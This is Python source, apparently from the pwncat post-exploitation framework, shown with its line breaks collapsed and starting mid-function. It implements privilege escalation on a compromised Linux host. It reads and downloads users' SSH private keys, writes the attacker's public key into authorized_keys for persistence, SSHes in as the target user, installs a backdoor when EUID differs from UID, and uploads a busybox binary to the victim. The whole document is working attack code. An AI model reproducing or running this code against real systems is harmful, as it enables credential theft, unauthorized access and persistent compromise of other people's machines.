home directory, can't add ssh keys") authkeys_path = os.path.join(home, authkeys_path) util.progress( f"found authorized keys at {Fore.CYAN}{authkeys_path}{Fore.RESET}" ) authkeys = [] privkey_path = None privkey = None if readers: reader = readers[0] with reader.method.read_file(authkeys_path, reader) as filp: authkeys = [line.strip().decode("utf-8") for line in filp] # Some payloads will return the stderr of the file reader. Check # that the authorized_keys even existed if len(authkeys) == 1 and "no such file" in authkeys[0].lower( ): authkeys = [] # We need to read each of the users keys in the ".ssh" directory # to see if they contain a public key that is already allowed on # this machine. If so, we can read the private key and # authenticate without a password and without clobbering their # keys. ssh_key_glob = os.path.join( pwncat.victim.users[reader.user].homedir, ".ssh", "*.pub") # keys = pwncat.victim.run(f"ls {ssh_key_glob}").strip().decode("utf-8") keys = ["id_rsa.pub"] keys = [ os.path.join(pwncat.victim.users[reader.user].homedir, ".ssh", key) for key in keys ] # Iterate over each public key found in the home directory for pubkey_path in keys: if pubkey_path == "": continue util.progress( f"checking if {Fore.CYAN}{pubkey_path}{Fore.RESET} " "is an authorized key") # Read the public key with reader.method.read_file(pubkey_path, reader) as filp: pubkey = filp.read().strip().decode("utf-8") # Check if it matches if pubkey in authkeys: util.progress( f"{Fore.GREEN}{os.path.basename(pubkey_path)}{Fore.RESET} " f"is in {Fore.GREEN}{reader.user}{Fore.RESET} authorized keys" ) # remove the ".pub" to find the private key privkey_path = pubkey_path.replace(".pub", "") # Make sure the private key exists if (b"no such file" in pwncat.victim.run( f"file {privkey_path}").lower()): util.progress( f"{Fore.CYAN}{os.path.basename(pubkey_path)}{Fore.RESET} " f"has no private key") continue util.progress( f"download private key from {Fore.CYAN}{privkey_path}{Fore.RESET}" ) with reader.method.read_file(privkey_path, reader) as filp: privkey = filp.read().strip().decode("utf-8") # The terminal adds \r most of the time. This is a text # file so this is safe. privkey = privkey.replace("\r\n", "\n") # Ensure we remember that we found this user's private key! pwncat.victim.enumerate.add_fact( "private_key", PrivateKeyFact( pwncat.victim.users[reader.user].id, privkey_path, privkey, ), "pwncat.privesc.Finder", ) used_technique = reader break else: privkey_path = None privkey = None elif writers: util.warn( "no readers found for {Fore.GREEN}{techniques[0].user}{Fore.RESET}" ) util.warn(f"however, we do have a writer.") response = confirm( "would you like to clobber their authorized keys? ", suffix="(y/N) ") if not response: raise PrivescError("user aborted key clobbering") # If we don't already know a private key, then we need a writer if privkey_path is None and not writers: raise PrivescError("no writers available to add private keys") # Everything looks good so far. We are adding a new private key. so we # need to read in the private key and public key, then add the public # key to the user's authorized_keys. The next step will upload the # private key in any case. if privkey_path is None: writer = writers[0] # Write our private key to a random location with open(pwncat.victim.config["privkey"], "r") as src: privkey = src.read() with open(pwncat.victim.config["privkey"] + ".pub", "r") as src: pubkey = src.read().strip() # Add our public key to the authkeys authkeys.append(pubkey) # Write the file writer.method.write_file(authkeys_path, ("\n".join(authkeys) + "\n").encode("utf-8"), writer) if len(readers) == 0: # We couldn't read their authkeys, but log that we clobbered it. # The user asked us to. At least create an un-removable tamper # noting that we clobbered this file. pwncat.victim.tamper.modified_file(authkeys_path) # We now have a persistence method for this user no matter where # we are coming from. We need to track this. pwncat.victim.persist.register("authorized_keys", writer.user) used_technique = writer # SSH private keys are annoying and **NEED** a newline privkey = privkey.strip() + "\n" with pwncat.victim.tempfile("w", length=len(privkey)) as dst: # Write the file with a nice progress bar dst.write(privkey) # Save the path to the private key. We don't need the original path, # if there was one, because the current user can't access the old # one directly. privkey_path = dst.name # Log that we created a file pwncat.victim.tamper.created_file(privkey_path) # Ensure the permissions are right so ssh doesn't freak out pwncat.victim.run(f"chmod 600 {privkey_path}") # Run ssh as the given user with our new private key util.progress( f"attempting {Fore.RED}ssh{Fore.RESET} to " f"localhost as {Fore.GREEN}{techniques[0].user}{Fore.RESET}") ssh = pwncat.victim.which("ssh") # First, run a test to make sure we authenticate command = ( f"{ssh} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no " f"{techniques[0].user}@127.0.0.1") output = pwncat.victim.run(f"{command} echo good") # Check if we succeeded if b"good" not in output: raise PrivescError("ssh private key failed") # Great! Call SSH again! pwncat.victim.process(command) # Pretty sure this worked! return used_technique, "exit" raise PrivescError(f"unable to achieve shell as {techniques[0].user}")
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file with open(args.data, "rb") as f: data = f.read() try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: pwncat.victim.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def bootstrap_busybox(self, url): """ Utilize the architecture we grabbed from `uname -m` to grab a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins) """ if self.has_busybox: util.success("busybox is already available!") return busybox_remote_path = self.which("busybox") if busybox_remote_path is None: # We use the stable busybox version at the time of writing. This should # probably be configurable. busybox_url = url.rstrip("/") + "/busybox-{arch}" # Attempt to download the busybox binary r = requests.get(busybox_url.format(arch=self.arch), stream=True) # No busybox support if r.status_code == 404: util.warn(f"no busybox for architecture: {self.arch}") return # Grab the original_content length if provided length = r.headers.get("Content-Length", None) if length is not None: length = int(length) # Stage a temporary file for busybox busybox_remote_path = ( self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip() ) # Open the remote file for writing with self.open(busybox_remote_path, "wb", length=length) as filp: # Local function for transferring the original_content def transfer(on_progress): for chunk in r.iter_content(chunk_size=1024 * 1024): filp.write(chunk) on_progress(len(chunk)) # Run the transfer with a progress bar util.with_progress( f"uploading busybox for {self.arch}", transfer, length, ) # Make busybox executable self.run(f"chmod +x {shlex.quote(busybox_remote_path)}") # Custom tamper to remove busybox and stop tracking it here self.tamper.custom( ( f"{Fore.RED}installed{Fore.RESET} {Fore.GREEN}busybox{Fore.RESET} " f"to {Fore.CYAN}{busybox_remote_path}{Fore.RESET}" ), self.remove_busybox, ) util.success( f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}" ) else: # Busybox was provided on the system! util.success(f"busybox already installed on remote system!") # Check what this busybox provides util.progress("enumerating provided applets") pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list") provides = pipe.read().decode("utf-8").strip().split("\n") pipe.close() # prune any entries which the system marks as SETUID or SETGID stat = self.which("stat", quote=True) if stat is not None: util.progress("enumerating remote binary permissions") which_provides = [f"`which {p}`" for p in provides] new_provides = [] with self.subprocess( f"{stat} -c %A {' '.join(which_provides)}", "r" ) as pipe: for name, perms in zip(provides, pipe): perms = perms.decode("utf-8").strip().lower() if "no such" in perms: # The remote system doesn't have this binary continue if "s" not in perms: util.progress( f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox" ) new_provides.append(name) else: util.progress( f"pruning {Fore.RED}{name}{Fore.RESET} from busybox" ) util.success(f"pruned {len(provides)-len(new_provides)} setuid entries") provides = new_provides # Let the class know we now have access to busybox self.busybox_provides = provides self.has_busybox = True self.busybox_path = busybox_remote_path